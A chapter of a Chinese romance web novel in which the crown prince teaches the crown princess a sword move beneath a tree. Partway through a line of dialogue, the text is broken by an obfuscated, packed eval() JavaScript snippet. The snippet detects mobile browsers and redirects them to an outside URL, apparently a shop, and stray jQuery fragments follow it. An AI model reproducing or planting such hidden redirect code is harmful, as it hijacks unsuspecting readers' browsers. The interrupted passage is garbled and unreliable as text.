38. 分心

作品:《太子嘴硬日常

    覃思慎算是知晓了什么叫搬起石头砸自己的脚。


    裴令瑶笑问:“殿下觉得呢?”


    轻风卷着蝉鸣与鸟啼,作弄得二人头顶的翠叶沙沙作响。


    覃思慎迟迟没有答话。


    裴令瑶猜准了他定是要面无表情地说出一句并无什么威慑力的“胡闹”,而后再寻个冠冕堂皇的理由转身离开。


    她在心头意兴盎然地猜测,也不知他今日是要办公、还是要温书,亦或者是要习字?


    又或者,他还能想出什么更为新鲜的理由?


    哪知过了几息,却听得覃思慎问道:“当真想学?”


    裴令瑶闻言一讶,而后恍然惊觉,方才他虽是沉默,却自始至终都未像从前那般故作淡然地移开目光。


    柔和的风吹乱了晨光。


    斑驳的光晕与她的影子都定在他那双黑沉沉的眼里。


    她呆了一瞬,方道:“那是自然。”


    覃思慎不咸不淡地道出早已想好的话:“正如太子妃所说,练武之事乃是冬练三九夏练三伏的长久功夫,习剑并非一日之功。”


    裴令瑶:“我何时说的?”


    她方才不就只夸了他剑法漂亮?


    覃思慎:“你……”


    裴令瑶:“我?”


    覃思慎将“回门那日说过”几字吞回腹中,只道:“可考虑清楚了?”


    裴令瑶素来是随心而为,方才不过是因覃思慎口中的“武夫子”之言一时兴起,哪又当真想要日日苦练;她想了想,迎上覃思慎的目光:“考虑清楚了。”


    覃思慎颔首。


    而后气定神闲地等待着她在他的引导下、亲口说出那句“那还是不学了”。


    裴令瑶笑道:“反正学太多我也记不住。我最喜欢的就是殿下最后那一剑,殿下若是得闲,不如就将那一剑教予我好了。”


    说到“最喜欢”几个字时,她还又用手比划了一番。


    覃思慎:……


    裴令瑶跃跃欲试:“殿下都让我好生考虑了,想来本就是想要收下我这个徒弟的?唔……我夸殿下剑法漂亮,殿下教我剑法,这就叫做礼尚往来、君子之道,我说得可对?”


    “况且我今日恰好穿得轻便,一切都巧得很。”


    覃思慎眉心一跳,他绕了大半圈,等来的不是“我不学了”,而是太子妃那双仍亮得发烫的眼。


    甚至她还将他惯用的话都抢去了。


    实在是……


    能让太子妃分心的话多得是,他平白无故提什么她是对剑法本身有兴趣,又提什么武夫子?


    覃思慎轻摇了摇头,转身向树下走去。


    也罢。


    今日朝早,他并无那样多的事情在身。


    一记剑法而已,又不是要日日教习,说到底也不过一炷香的功夫。


    若是不教,太子妃怕是还有一整套让他辩驳不得的歪理在后头等着,那才是当真浪费时间。


    况且,她若是真来了兴致、回头自己乱学,伤着哪儿反倒麻烦。


    裴令瑶望着他的背影:“欸?”


    兜兜转转,怎么还是回到了她最初所想?


    却见覃思慎在一颗矮树旁站定,复又择了一根粗细适中的枝条,“啪”地一折,而后三两下捋净了上头的翠叶。


    裴令瑶恍然大悟:“哦!是要我用树枝学么?”


    是了,她前几日所读的话本之中就有侠客以树枝作剑退敌的情节。


    太子果真舍不得拒绝她。


    覃思慎回过身来,神色平静:“太子妃既是要学,就好生学,学明白。”


    即使只学一记剑法,也不能就用根树枝就糊弄过去。


    裴令瑶:“殿下的意思是……?”


    覃思慎单手摘下腰间的佩剑:“你暂且用它。”


    裴令瑶一怔。


    直到手中添了一道沉甸甸的重量,她方才意识到,自己右手中正握着覃思慎的佩剑。


    她喃喃:“这样郑重其事……”


    但见她低头看看手中剑,又抬头看看握着一根光秃秃的树枝却依旧一脸正色的覃思慎,倏地一笑:“多谢殿……夫子借剑之恩。”


    覃思慎没理会她的笑意,只是凌空比划了一番树枝,试了试力道:“……一记剑法而已,不必唤什么夫子。”


    裴令瑶心情大好,自是无有不应:“夫……夫君说了算。”


    覃思慎一默,最后问了一遍:“太子妃当真要学?”


    裴令瑶抱着剑拱手,板起脸:“请殿下赐教。”


    覃思慎:“不反悔?”


    裴令瑶被他追问烦了,扁扁嘴,竖起左手小拇指:“那要不殿下与我拉个勾?”


    见她这副模样,覃思慎眼中闪过一丝笑意,口中却道:“不必。”


    他退开两步,手中树枝一横:“只这一记。”


    只见他手腕轻转,那树枝便在空中划出一道流畅的弧线。


    他的动作比方才独自习武时慢了许多,招式的变化被拆解得清清楚楚。


    且他口中还念着最基本的剑诀:“短兵柄以臂,进退须足利……”


    裴令瑶双手抱着剑,看得认真。


    起初她其实还分了五分心神去留意覃思慎的俊脸,但听得他口中的剑诀声,余光又扫见怀中剑,那点只是玩玩的心思便淡了不少。


    若她学会了,等阿兄再入宫时,她要去炫耀给阿兄看!


    覃思慎站定:“可看明白了?”


    裴令瑶点头:“但那剑诀记不太全。”


    覃思慎:“无妨。”


    裴令瑶不太熟练地拔剑出鞘。


    覃思慎顺手接过剑鞘、挂回腰间。


    裴令瑶瞥了他一眼,弯弯嘴角。


    ……


    第一剑挥罢,裴令瑶自知将剑挥得歪歪扭扭,也不气恼,反而一笑。


    当真挺有意思的。


    覃思慎如实说道:“这一剑挥得不太好。”


    裴令瑶轻哼。


    覃思慎:“念在是初学,却也情有可原。”


    裴令瑶细声细气:“只是情有可原吗?”


    覃思慎:“……还算尚可。”


    他只是不想在这些琐碎的对话上浪费时间。


    话音落下,他于裴令瑶身侧站定:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280429|196023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    莫要只用手腕发力,用你的手臂去带。”


    裴令瑶望着他认真的神色,没再插科打诨,而是依言照做。


    覃思慎隔着衣袖虚点了点她的手腕:“持剑的手太僵了些,这样挥出来的弧线自然呆板。”


    裴令瑶试着略略松了松手腕,又挥了一剑。


    这回弧线流畅了不少,但出剑之时,整个人往前踉跄半步。


    覃思慎赶忙扶住她:“当心。”


    裴令瑶抓住他的目光,眼角一弯:“好奇怪,像是剑把我带出去了。”


    见她站定,覃思慎迅速退开几步,再度以树枝演示:“非剑带你,不过是足下不稳。你且看我,脚步要先于剑势。”


    端的是公事公办。


    裴令瑶见他这模样,真想再拖着尾音唤一声“夫子”。


    第四次、第五次……


    每一剑挥完,覃思慎都像一个合格的武夫子一般指出裴令瑶的问题:肩太僵、腰没沉……


    其间少不免有些隔着衣衫的肢体接触。


    稍多上几次,裴令瑶就全然不在意了。


    不过是一点蜻蜓点水的触碰罢了,不如她要学的剑法要紧。


    覃思慎亦尽力将注意力只放在她挥剑的动作上。


    不多时,裴令瑶额头沁出薄汗,持剑的手也隐隐有些发酸。


    覃思慎看着她通红的脸颊,垂眸道:“暂且歇息一阵吧。”


    他这柄剑,对于太子妃来说到底还是重了些。


    他甚至想说,若是累了,明日再学也成,不急这一时半刻的。


    全然忘记了自己一开始只打算花一炷香的时间。


    裴令瑶正在兴头上,她摇摇头,眸光灿若明星:“再来一次,我觉得这次能成。”


    覃思慎看了她一眼,心念微动。


    裴令瑶深吸一口气,手腕一转。


    剑光在空中划出的弧线顺畅又利落。


    她脚下亦是稳稳当当。


    裴令瑶不由惊呼:“成了!”


    覃思慎点头,唇角微扬:“嗯。”


    不仅是成了,且姿态极佳。


    裴令瑶展颜笑道:“我就说这飞云殿上下最好的师父当属殿下,名师出高徒,往后我们双剑合璧!”


    覃思慎稳住心神,习惯性复盘:“其实我应在一开始就将要注意的点细细讲与你听的,尤其是……”


    裴令瑶听他说完,轻笑一声,又忍不住问:“殿下说这么多,竟一句都不用来夸我?”


    不等覃思慎答话,她已笑道:“瞧我再演示一回!”


    这一次她本是信心满满,哪知刚抬起右手,却听得头顶“啪嗒”一声轻响,一小截枯枝忽地从树上落下,堪堪擦着她的肩侧坠向地面。


    裴令瑶手中一颤,剑身也跟着一歪。


    覃思慎眼疾手快地一步上前,微微倾身,左手虚护在她身后,右手握住她持剑的手,带着她稳稳走完这一剑。


    裴令瑶怔怔地转过脸去,正欲道一声谢。


    然,不过是一息之间,覃思慎尚还保持着方才的姿势。


    裴令瑶的鼻尖愣愣地蹭过他的侧脸。